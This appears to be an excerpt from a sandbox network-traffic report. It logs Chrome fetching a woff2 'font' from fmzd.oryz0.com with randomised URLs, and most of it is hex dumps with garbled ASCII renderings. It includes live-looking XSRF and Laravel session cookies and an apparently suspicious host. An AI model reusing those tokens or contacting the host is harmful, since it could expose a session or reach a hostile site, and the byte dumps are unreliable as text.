2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 69 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 b5 62 c1 82 85 7e f8 a7 d6 f4 ef 1e 66 2f 80 a8 0a 1e d0 47 8a 82 b3 9d 4a 1b 36 b2 79 fe b3 df fa 0e 7a 45 40 54 9c 61 aa 30 5e 55 6c f6 df cf 06 00 fc 53 3a c3 bf 92 2c 03 9e 7d 04 1b 42 ec 52 a7 a8 52 74 7e b7 76 d1 85 00 ba 4c 3a 60 34 c1 49 4b 41 1c e6 bd a7 56 a3 ca b1 b7 78 26 40 a1 1f 8f 68 a8 37 83 50 05 fe Data Ascii: iD} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xbb~f/GJ6yzE@Ta0^UlS:,}BRRt~vL:`4IKAVx&@h7P
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 2e 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc 4c 15 e0 d4 43 23 d6 51 35 b8 91 3c 4e 8d af 4d f0 9a f0 ff 89 98 49 1e c3 96 a1 ef 1e ef ae 41 39 d4 0e be a1 72 98 1c b4 98 29 ef a4 9e 40 7d 80 28 93 fa a9 ef 70 df d3 54 b5 e2 d5 ba 81 b2 f7 81 f6 10 fa 79 c4 7a c4 26 c4 11 70 a2 46 71 8f 62 7e 37 d0 ca bd 8a d4 e0 c1 fc fb 48 b3 d9 1f 86 2f e5 9b 9b b5 38 d8 c7 Data Ascii: .m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R, LC#Q5<NMIA9r)@}(pTyz&pFqb~7H/8
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: e4 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 70 14 1b 9d cf 6b 27 9f a5 fa bd 08 79 02 2c 96 02 20 16 9d 4d 88 68 fb d6 4a 21 21 6d b6 8c 58 80 8a 4a bd a3 a3 79 25 a6 aa 2e 1a 3d c6 77 60 74 91 90 6a 2a 81 e2 98 32 ad 42 a4 cf 75 c9 16 1c 25 3d 79 6f 32 9f 8e cf 45 7e e6 05 e8 4e 24 f2 4f 2c 8e ab 2d 9c 9c 76 49 bb eb d8 5e de eb 78 af d8 0e f9 43 a9 e0 48 ac Data Ascii: D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWRpk'y, MhJ!!mXJy%.=w`tj2Bu%=yo2E~N$O,-vI^xCH
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: bf a5 86 5b 4a 69 0c d1 e1 b8 20 fc 23 8b 97 28 3f 36 3d bc 0d d8 3d 52 72 fe 9d 98 df f6 99 86 c4 bc 22 f8 09 5a 28 e5 b7 77 89 61 b7 36 f9 53 75 68 4b 1e a3 d9 26 75 d4 2c cc 9b ab c9 a0 c4 be a0 65 70 6a fc 71 23 f4 aa f8 fc 97 90 31 c6 86 3b 8d 2e bf 22 ac c8 63 a8 a4 64 cd 76 00 e5 20 65 ff cf 30 3f a6 13 d2 e5 62 0b a4 27 2d 7d 39 cc f0 e0 9e 1d af b5 ec 6f 86 84 31 96 bb 8e 91 1f de f5 79 ed 91 b4 46 3e b6 fa d8 67 65 be e3 e4 c7 96 8c a1 bb 91 79 70 21 64 5b 43 4a bb 5f ce 7f 6a 9e e2 6c 74 bd 98 84 44 03 65 56 43 e1 02 9a f1 01 c9 b2 0e 5a 9a 74 1e 19 d7 2d 04 6b 89 4f 3e 7f eb 62 e6 73 66 69 2d cd a3 e6 3f 27 75 aa 1d f4 11 10 73 fc 42 d2 5a c5 86 43 23 db 5e 68 e7 7a 4b d7 dd 63 72 dd 6d 59 de 57 ba ed 90 63 7c a6 8b 45 e2 fa ee ae 6f c3 10 c6 Data Ascii: [Ji #(?6==Rr"Z(wa6SuhK&u,epjq#1;."cdv e0?b'-}9o1yF>geyp!d[CJ_jltDeVCZt-kO>bsfi-?'usBZC#^hzKcrmYWc\|Eo
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 5f c3 25 0b 9d f2 4a e9 03 fe a9 a9 bb 81 48 18 fa 58 6c d7 68 8e c9 73 ff 93 f3 ea 71 72 7c d4 67 35 e2 25 58 ad 9b 53 bb 0e 1a 84 1a b8 82 5e 74 f8 f1 ff 58 67 54 9d 62 90 e9 68 f1 c4 58 64 f4 a7 11 7b 4a 5a 49 91 3e 4e c4 a0 f3 c2 16 05 ca 58 f5 2f 67 94 92 df bd d2 cb da 8d 4e 2f c9 b6 83 3e 5b 35 3d f8 fc e3 65 9c 37 d6 d2 a2 c6 49 f6 ae d8 e1 89 37 ae 63 7d 3f 6f 70 d7 3f 3b 22 5b 75 e5 01 5e 3b bd 02 7a e2 ad bd 31 24 3b ab 34 eb 3d 4b b2 d1 8a eb d4 09 e1 09 bc 2e 7f c6 88 31 51 e6 fa 1c 6a c5 06 7d 66 4a f0 e0 eb c6 48 eb a6 3e de c9 7a 7d 78 4b d7 98 bd e2 c3 08 cd f3 88 6d ff fa 2e f6 41 89 df d6 d2 4a ff 7b f6 01 aa 12 65 af e8 2b 9c 2a 6b b9 21 bb 8c e8 e3 a7 1f ef 6f bf d7 f8 0b 47 b0 c3 71 a6 2e 6c 7f 81 ee 98 c2 d1 a6 7a dd 76 dd d1 70 c9 Data Ascii: _%JHXlhsqr\|g5%XS^tXgTbhXd{JZI>NX/gN/>[5=e7I7c}?op?;"[u^;z1$;4=K.1Qj}fJH>z}xKm.AJ{e+*k!oGq.lzvp
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: cd 17 36 9d d7 1b 32 2a 11 0d 58 a9 2e 71 1b 1f 61 c5 f5 94 ef d3 73 ea 88 7e fb b9 e6 e1 b6 70 c5 34 0a fa 3b 86 fc cc ba 3c 05 7c 34 ea 88 f5 a3 a2 c0 20 35 13 6c 15 e6 41 b8 3e b6 11 22 ac 69 58 6e 3e 6f 9f 28 7b a8 5f 8d bd 76 d8 eb 29 93 79 48 c9 a3 99 6f 6d 06 7f 5d 9e f1 6c 7c 55 3b 55 c9 af 3f cf 18 45 2c 1f 72 44 e3 8e 81 85 63 86 d5 6b ad b7 62 ee 7b 30 a5 df b6 73 24 1a c7 c1 b3 0d fe d9 73 ef 8f c3 b0 9d 51 f5 d7 70 ba 54 f4 24 dd 1a 73 5e 9d 9c 39 5d 1e 8c 82 fe 2c 1f ac a6 0c ba fc c5 27 14 94 19 0f 5f 43 a0 42 02 67 1f be 85 af e9 f8 fc a5 c4 0d b4 f6 ff a2 a2 95 1c ec dd 96 1c e3 1d 16 52 27 61 e2 78 29 ad 1d 7e c2 7e d3 02 91 a1 b6 1e d4 a0 32 62 5d 05 eb 60 2f a3 ce 28 2a e3 76 d1 e6 94 8a 9e 84 ca d4 81 95 59 f2 d3 14 a9 29 ba 67 d3 7a Data Ascii: 62X.qas~p4;<\|4 5lA>"iXn>o({_v)yHom]l\|U;U?E,rDckb{0s$sQpT$s^9],'_CBgR'ax)~~2b]`/(vY)gz
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: b9 28 d4 a6 32 9a 40 88 66 46 b8 5f 12 ff ff f1 87 04 f0 10 a2 2a 99 3a 19 38 85 1e 76 b6 ca 97 a4 50 a1 74 c5 4a 64 28 d7 28 4b 8b 76 a5 ba f4 a8 34 64 58 ad 57 5e a9 37 61 5a 83 05 0b b0 56 ec 6a b1 ef 8d 6e 47 be ea 77 69 c1 73 7e 5b 36 e1 26 c8 81 08 6c e7 58 14 76 72 2e 2a 52 87 d1 0a 77 14 a7 68 9f bb 2f d5 97 1e 6b e9 a2 36 6d fd ae 5d 6f 7f 1a b0 82 9f bb 29 b7 d4 fd 91 ac f6 10 55 d6 d9 81 2f c0 08 b1 30 af 61 14 e9 1d cc 52 bc 9b 4d aa f7 6a 94 66 cc 30 31 cf 58 e7 eb 7d 07 9e e7 07 f4 ff dd 72 11 79 f7 17 5f 34 4c 30 6f 52 00 13 2c 5d 6a a1 96 01 ec 65 65 8c c9 a0 60 fb 80 e3 33 a2 57 29 00 94 cf 1c 2c af 0c ea d6 9e 38 04 86 2f cf 6a 38 67 ad fd e2 eb f5 49 f1 24 1f c0 fb 3c e2 91 ad 41 0a dd d8 dc da de ed 78 67 77 6f ff 60 6d 3b 3c b2 37 0b Data Ascii: (2@fF_:8vPtJd((Kv4dXW^7aZVjnGwis~[6&lXvr.Rwh/k6m]o)U/0aRMjf01X}ry_4L0oR,]jee`3W),8/j8gI$<Axgwo`m;<7
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 88 47 91 d7 a4 a8 59 49 85 cd e8 3b 74 ea d2 ad 47 af 01 83 2a 50 d0 30 b0 86 e7 e1 2b 22 33 b7 92 8a 9a 86 56 b1 9b 6b ab d7 c0 f1 42 d4 c9 4c 7c 57 eb 35 6a d6 a2 4d 87 17 ba 74 eb d5 6f f0 25 a9 7f fd e7 cc 5b b0 68 c9 b2 15 ab d6 ac db b4 65 db 8e 5d 7b f6 1f 5c 46 ee 05 c1 f8 3a a8 e2 f4 ae 1d 96 85 be 31 95 e5 ba 29 b3 5a 43 66 ac 5d ff 03 0f b1 75 01 fc b2 4f 81 3a f6 64 4f 47 bb 09 e2 3c 29 42 ad e2 3e 22 4d c4 96 88 6b 74 7e fd 64 e0 75 81 12 2b 3a af dd 10 60 9b 79 6f a0 89 16 44 eb 3a 5f 22 ef c0 43 4c be cd 4a 39 0e c7 e5 59 da 0b 4e c2 cb e5 0c c1 50 23 94 b7 f3 4e de 25 4a c6 14 ad b2 60 08 6e 56 39 dc aa d3 6a 2d 0f 41 b9 5a df dc ee da de da be da fe 15 9d 13 bc 46 63 60 98 0d 8b 15 9c 87 cd 92 34 67 eb 36 27 78 65 b2 4c 56 6b 35 cf d3 9b Data Ascii: GYI;tG*P0+"3VkBL\|W5jMto%[he]{\F:1)ZCf]uO:dOG<)B>"Mkt~du+:`yoD:_"CLJ9YNP#N%J`nV9j-AZFc`4g6'xeLVk5
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 5d 54 95 c8 98 28 93 32 63 a4 7d 4c 7f a8 5d 3c fc e6 0b 52 65 a8 96 ad 58 0e 9c 5d eb b6 6c 47 61 61 c3 76 2e 25 66 40 87 ee 2b 77 72 0b b9 36 71 8f ab 5f 1d 5b f5 cc bb 91 f0 45 30 3e 81 94 2f a3 d2 8e 56 37 3a 3d a8 75 61 30 8d d1 0c 4e 07 58 6c 60 b7 83 db 11 56 9b 78 3d f6 4d 93 ef f2 ae 35 07 29 06 c0 76 69 21 92 12 8b a1 27 35 49 2b 44 12 93 cf 48 71 b0 40 ca 43 53 1d 9e ca b0 90 23 52 1b 9b e6 94 b4 a7 a7 35 4d 21 2e 87 4c c3 aa 9a 97 c9 d2 f4 17 66 95 1f bf 28 5e 61 c2 ca 24 35 89 ab 13 55 a5 5c 9f 62 5d f2 f6 6c 6f 17 b8 23 ef de 82 df 2a 60 7b 41 6f 16 f1 7e 31 ad 15 2b a1 9d 92 db 2f b1 dd 08 f8 24 f1 58 b6 cd cf a7 2f 72 be 06 8f cf 43 45 27 ad 4d b5 a1 b3 3a 34 5b ca 51 91 0f 59 c2 86 19 45 7e 58 f8 7b 3d fb a0 a4 f6 ba ef b4 4e 2f bc d4 55 Data Ascii: ]T(2c}L]<ReX]lGaav.%f@+wr6q_[E0>/V7:=ua0NXl`Vx=M5)vi!'5I+DHq@CS#R5M!.Lf(^a$5U\b]lo#*`{Ao~1+/$X/rCE'M:4[QYE~X{=N/U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49787	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1408	OUT	GET /efncIwTEL0emqS7847WOvPGnqQHZkl99 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	625	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:35 GMT Content-Type: font/woff2 Content-Length: 93276 Connection: close Content-Disposition: inline; filename="efncIwTEL0emqS7847WOvPGnqQHZkl99" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2FB0DQTk4MjavYDJkORAfty2wHpM09zJPYMMzne5m6bnzQ32FnLkJlq8JruAHh1tK20jeVpjTcBwC2ahdLWrX8JN%2BNrzGICc2H0Cz4OaJkY5DagD1Yfzt9jtWVkhFA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c30d938c05-EWR
2024-05-23 08:31:35 UTC	744	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 01 6c 5c 00 14 00 00 00 04 b2 20 00 01 6b e0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a a4 76 1b 83 bb 26 1c 93 24 3f 48 56 41 52 a0 6a 3f 4d 56 41 52 81 46 06 60 3f 53 54 41 54 81 36 27 38 00 91 18 2f 81 48 11 08 0a 81 f8 0c 81 d3 78 0b 89 1a 00 30 8b e7 3a 01 36 02 24 03 92 30 04 20 05 97 7a 07 a2 17 5b 12 9a 94 07 25 22 db df 13 ba a5 ab c1 a5 a2 a8 fe 21 df bb 49 da 54 19 b0 7f a9 77 90 21 63 9b 48 1d ce cd 74 1d 5d 6b a5 08 9e a7 0f c8 36 9d f1 82 43 79 c3 a8 7f 55 6c b7 72 65 ff ff ff ff ff ff 9b 92 49 8c e9 25 e8 25 f9 7f 00 15 44 45 b1 a0 ba ce 76 d3 69 ae 51 46 38 dc dd 84 83 d2 69 48 19 21 72 0a ca e2 f4 da d1 50 34 5a 5b b9 db ae 1d f6 5a 73 10 9e 89 b6 6f 06 0e 72 ef e2 38 62 1c 4f e8 Data Ascii: wOF2l\ kv&$?HVARj?MVARF`?STAT6'8/Hx0:6$0 z[%"!ITw!cHt]k6CyUlreI%%DEviQF8iH!rP4Z[Zsor8bO
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: bd 3f f3 47 f2 33 13 26 d3 99 30 4c 26 e9 24 85 40 52 36 bb a5 e2 88 55 8c 15 6f 9d dd 3a ed 9a 53 a7 3d 0a d4 1c b3 db 62 55 0b a1 75 ca 5d 7a ac 57 38 5b 55 18 7c 37 fb 27 fe 25 e6 f2 75 2e 9c 88 31 31 8e 19 67 3c c6 ba 5e c7 a0 eb fa 4a c9 da 50 42 1b 4a 48 42 02 11 f0 6b fa b3 0f 0e 89 0a 91 8a 5d c4 80 28 24 a5 0d 44 ae 16 ab 53 22 75 be b7 ce 37 e2 fc ab 39 9f 38 15 a3 ee d4 9c 1a 55 a3 e6 37 13 d4 a6 ed 52 24 04 df 78 a9 f9 ac 67 d0 58 9b 7a 56 81 2c a8 24 a5 19 ab 89 79 c6 3a 8e 8d 8a 88 86 51 24 4f 4d c7 b1 f6 b7 9f 71 cc e7 20 a3 88 08 28 df 96 4f e5 14 c4 00 22 12 64 3c 07 6c c8 ed 39 a9 fd 7c 5e 42 08 72 b6 35 8f d0 c3 f3 a7 fd cc b9 79 69 bb 44 99 0f b9 5f 84 16 09 3c 50 9b f9 6f 92 11 08 a9 28 52 65 ab 49 eb 90 c9 96 9a 40 45 d9 7e f3 ca 54 Data Ascii: ?G3&0L&$@R6Uo:S=bUu]zW8[U\|7'%u.11g<^JPBJHBk]($DS"u798U7R$xgXzV,$y:Q$OMq (O"d<l9\|^Br5yiD_<Po(ReI@E~T
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 42 44 dd f4 16 cf 30 00 2b fb 79 0b 30 ab c4 72 0d 2d 40 8d fe 19 13 b5 2f 74 e2 3e 24 50 23 ab dc 2a 66 4d 64 c4 fc ff 2f 53 ab 6d 24 50 26 09 49 5d 09 75 9d 3e c1 ea 31 1f d2 98 cf 56 cd 54 a8 74 6a 7f 21 1b e3 9c 0f 44 44 22 1d 29 45 26 48 55 24 92 52 07 92 54 55 20 21 75 7d 24 c8 3a 01 40 86 24 32 00 8a cd 24 e5 2d 59 9e 72 a6 cc 4b 24 d5 13 80 aa 7a 82 60 1b 94 34 ce 2d 67 b1 1c ca 96 d5 9c 33 32 e3 a4 1a e3 36 db 24 c7 b1 8d db a9 6a 45 cd 8a 9a 55 8a e3 a8 9a fd 86 aa 55 d5 ac d4 1a bf 33 7e d7 67 f8 e7 6d 4f ce f6 e5 66 e3 7f 46 56 c8 0a 61 36 e5 a3 4e 26 1e 46 a2 08 72 83 40 08 87 47 e1 7f 99 5a a6 68 7c 99 6e 6c d2 0f 2b 33 dc e8 4e 91 71 44 5d 90 6c 29 8d ba 7f af 41 f7 5b 43 0e ce 0d 46 16 90 e1 0e ce 11 23 c7 5d f9 38 5a 60 ce 53 96 94 35 99 Data Ascii: BD0+y0r-@/t>$P#*fMd/Sm$P&I]u>1VTtj!DD")E&HU$RTU !u}$:@$2$-YrK$z`4-g326$jEUU3~gmOfFVa6N&Fr@GZh\|nl+3NqD]l)A[CF#]8Z`S5
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 0a 7e 3f b8 60 01 41 a5 a2 9d 5f aa aa 92 e7 97 9e 00 03 7a 83 f2 df f4 f1 96 7c fe b4 e4 ea d5 9a f9 6c b0 ba 4a 10 6f b7 59 2c ed 74 74 e4 f7 a7 d3 2b 96 40 40 51 66 f5 e7 a0 33 8f 73 f2 d6 c3 e5 9d c3 71 fc 46 72 66 3c 24 2e ce 60 06 3a c8 29 d6 a8 8f 62 ff a8 a5 b5 cd eb 44 76 4b 25 94 fc d0 62 76 e3 42 5d fd 97 64 4c 8b a5 52 6f f8 db 8f 00 94 fc c8 46 5c bd 1c c3 40 2b d1 7a 43 c4 ad 17 b2 b7 ee 9b 4d 09 0d f9 6d 07 99 10 1d 47 e6 96 3a 20 3d bc 3a 0d 3e bf 95 84 ea 25 93 ae 69 08 6c df 80 35 2a 08 70 c7 de 92 9c 79 e0 1a 17 e6 d0 2b 30 1e 2f 83 0e c7 e9 73 30 77 e7 e6 02 22 bb d8 06 99 5b ee 22 53 80 20 c8 6e 2c 06 05 26 12 28 14 52 ba 16 12 3d a2 47 3f 10 f5 06 a5 24 4d 82 75 e6 ad 90 27 62 69 e9 36 4c 84 88 93 25 f6 f6 23 80 28 d3 c5 48 e9 2c 0d Data Ascii: ~?`A_z\|lJoY,tt+@@Qf3sqFrf<$.`:)bDvK%bvB]dLRoF\@+zCMmG: =:>%il5*py+0/s0w"["S n,&(R=G?$Mu'bi6L%#(H,
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 93 cf 99 1f a7 dd 6e 68 53 44 dd 65 65 89 d1 c0 a3 92 64 cc 31 18 63 26 13 31 4e cf 58 79 53 b2 2e db 9a 28 b6 9b 3c a6 00 5c 5e 11 8b 83 4b be 05 32 16 f2 27 f7 9c df b0 9c 1c 87 3a fa 62 03 4e 5f dc 30 32 d9 0e 2d 29 bb 39 86 5a ea 25 1c f9 80 80 d3 b0 59 47 03 e1 38 0e 99 e4 42 e4 67 ce e4 d4 da 88 c7 03 50 4c 29 22 8c 02 70 3a 8b 8a 3b 0f 04 48 26 b5 d1 e4 52 e7 01 3b 4a af d0 d3 a7 68 fe d1 72 c3 4a 60 ba 24 bf 8f 51 eb 11 25 b1 c6 4b 41 a6 d8 73 32 1b 16 4b c4 62 8e e3 36 ec 6e b3 cd 37 b4 0e 4b 95 68 ab 33 1a 0d ac 6a 2b cd a4 45 22 f2 62 82 62 42 1d c3 cc f9 59 5f 50 eb 07 b4 8a da 4d aa 17 47 d3 fa a5 80 8d 11 25 a5 a5 8e 5b 88 5c b9 82 21 5e 88 6c 18 63 03 d6 93 18 f3 cb 40 59 d9 d2 20 37 88 18 e8 62 0c ab b3 f8 99 33 4f d5 ea e1 30 92 c8 8c dd Data Ascii: nhSDeed1c&1NXyS.(<\^K2':bN_02-)9Z%YG8BgPL)"p:;H&R;JhrJ`$Q%KAs2Kb6n7Kh3j+E"bbBY_PMG%[\!^lc@Y 7b3O0
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 9b 51 70 75 a8 cf 20 94 27 85 0a 16 c2 d5 50 55 97 db 1a cc e4 ea f8 bf 7f 82 9d cf b0 bf bf a8 d2 cf 05 72 5b e8 50 23 0f 23 4b 61 90 94 da f0 4d c9 51 9e 26 0a ec ec ab 69 b4 bd c3 2f 0a f0 74 03 f6 16 2e 59 39 12 0b bc 0c 0d 75 a9 8f 01 48 d7 04 85 96 d2 ab 02 9b de 6d db bd 90 bc 86 ef 83 5a 63 5b 32 e2 71 f8 6e c1 87 75 a9 ee 4c f7 99 27 02 3c 78 27 d8 98 de f7 56 7f 6e f1 fc aa 81 eb 24 c5 fb 60 e0 b0 f2 f0 af dd 25 60 5f 6c d7 6b c0 60 ea 09 fc a1 7e ef 21 d2 65 be 87 84 64 f1 c8 69 fa 9c 49 2f cf 79 79 88 42 e1 4d be 7d 02 60 bf 63 b8 ea ea 63 24 2b 5c 48 cf ca 79 d8 58 89 bd 6f 81 38 cf 87 07 47 13 25 b0 2d d0 2c 71 94 b6 07 95 04 aa e5 65 bc fd e1 eb 93 81 1b a5 d7 ee 19 35 2a 5a aa 17 d4 e1 0e 65 4b 21 2d a7 bf d7 25 e2 9e 22 d1 b9 d0 54 73 be Data Ascii: Qpu 'PUr[P##KaMQ&i/t.Y9uHmZc[2qnuL'<x'Vn$`%`_lk`~!ediI/yyBM}`cc$+\HyXo8G%-,qe5*ZeK!-%"Ts
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 8b 3c b7 b7 76 cf d3 be da d0 82 50 1b dc 81 52 9f 2b 78 b5 85 1a db 2f 23 11 ee 7e 0f 9c d7 f5 b8 cb 06 d1 4f 79 55 8a 13 9b 6a a8 95 46 95 37 af 7b 7d 90 cb 24 1d 9e 26 31 5b 76 a7 8e 76 62 74 7b e0 dc a7 f1 6e 9f 45 d5 21 b2 23 85 2c cb e7 31 09 a3 7a 4c d0 45 20 b1 44 fe 05 66 c7 02 03 dc df d5 bb 25 f4 ec 02 f0 c1 23 0b fa 7f ae 9b 73 07 7b 16 f5 36 ec ec 00 db ec 7f d4 4b 78 3e 73 73 9f 0a ae ec e5 80 c4 cf 0a 3d 62 99 08 c1 b2 7d c7 70 b5 8c c7 69 52 40 79 3c 9f b9 99 d4 52 6e df 0a 35 b9 f0 ac 83 b5 6c 74 9e b8 70 fd 1d b6 ee 75 41 04 b5 ad 5c 10 e6 ad df 53 fe 59 1e 0a 54 02 09 f8 5e ab e5 8c c5 72 4c 47 c6 3b 62 55 95 51 f0 eb 4f 75 3e 57 a6 36 98 bc fe b1 bc ff 61 18 a2 79 e6 01 b9 02 66 9e 81 b8 b7 6b 51 78 30 95 72 f9 41 95 4f 4c 24 d3 ec b1 Data Ascii: <vPR+x/#~OyUjF7{}$&1[vvbt{nE!#,1zLE Df%#s{6Kx>ss=b}piR@y<Rn5ltpuA\SYT^rLG;bUQOu>W6ayfkQx0rAOL$
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: 45 1e a2 6d 55 84 60 bb 94 83 f1 a5 aa 10 eb 80 6a 04 ba dd 16 24 bb cb 76 94 bb db 0e 54 fa b4 dd 28 f7 19 9d a8 f4 59 7b 91 ec f3 f6 a1 d0 17 ec 47 b1 2f ea 42 a1 2f 39 80 62 df 74 12 bc df 77 06 bc 3f 73 01 b9 7e ee 71 e4 fb bb 2d ec ef 7f d2 19 f5 41 7b 18 ef 31 87 58 ef 21 27 d1 79 d4 69 74 9e 74 8d 23 23 9b 2c 50 b6 a6 80 27 3b 52 c2 93 d9 40 c0 e7 aa a0 90 01 f3 29 68 ec d8 71 e2 04 83 80 00 e3 c2 05 82 1b 37 71 1e 3c 50 15 2c 96 c1 03 90 05 75 49 6e 2d 19 e1 95 12 4e d0 eb 09 a1 25 6a 42 ad 00 59 26 63 cf 71 3e 9d 2c 30 95 67 c9 12 c6 10 a1 01 97 41 48 16 7e 72 c0 e5 e1 a3 00 5c 91 be b5 13 b4 60 8d 50 60 16 62 8c 23 2c 93 87 41 a6 b8 c0 32 1b d9 cc f1 84 5d ca eb c5 8d 70 d0 ac bc 4b 85 93 72 39 40 ae f8 bc 94 2b 97 55 20 79 76 b5 92 56 dc f5 a9 Data Ascii: EmU`j$vT(Y{G/B/9btw?s~q-A{1X!'yitt##,P';R@)hq7q<P,uIn-N%jBY&cq>,0gAH~r\`P`b#,A2]pKr9@+U yvV
2024-05-23 08:31:35 UTC	1369	IN	Data Raw: aa 75 3c 04 9b 2b 02 72 61 45 50 0c 27 48 8a 66 58 8e 17 c4 72 ff 0a aa a6 1b a6 65 03 00 88 b0 24 13 ca b8 50 54 ad 3e b1 db 03 04 84 eb 88 80 62 38 41 52 34 c3 72 bc 20 96 b6 51 46 51 6b 9b a9 63 98 56 a3 e2 13 15 c2 04 21 e9 30 60 05 83 86 c4 8f e9 a0 a9 ff f0 17 a0 b7 17 e7 07 65 da fd 98 7e d8 04 c0 0d b5 75 78 ca 39 2a af 15 ac 6d 98 37 9c 46 60 a4 51 46 1b 63 ac 64 29 52 a5 49 97 21 53 56 45 1d 2a 36 25 95 a2 4c b9 8a 2a 47 ac 4a 54 ab 51 5b dd e8 d5 a3 41 e3 73 28 bc 75 10 b4 db 41 a5 28 53 8e 1e d2 f3 3a cc bc 1d 7c fc 10 25 da bd f2 fc a6 e8 16 82 4b 39 b0 71 4d 28 28 c1 54 d4 34 0d d5 a6 e7 9b d7 02 78 db f5 6f 2c 5c 2e 36 76 cf fe a6 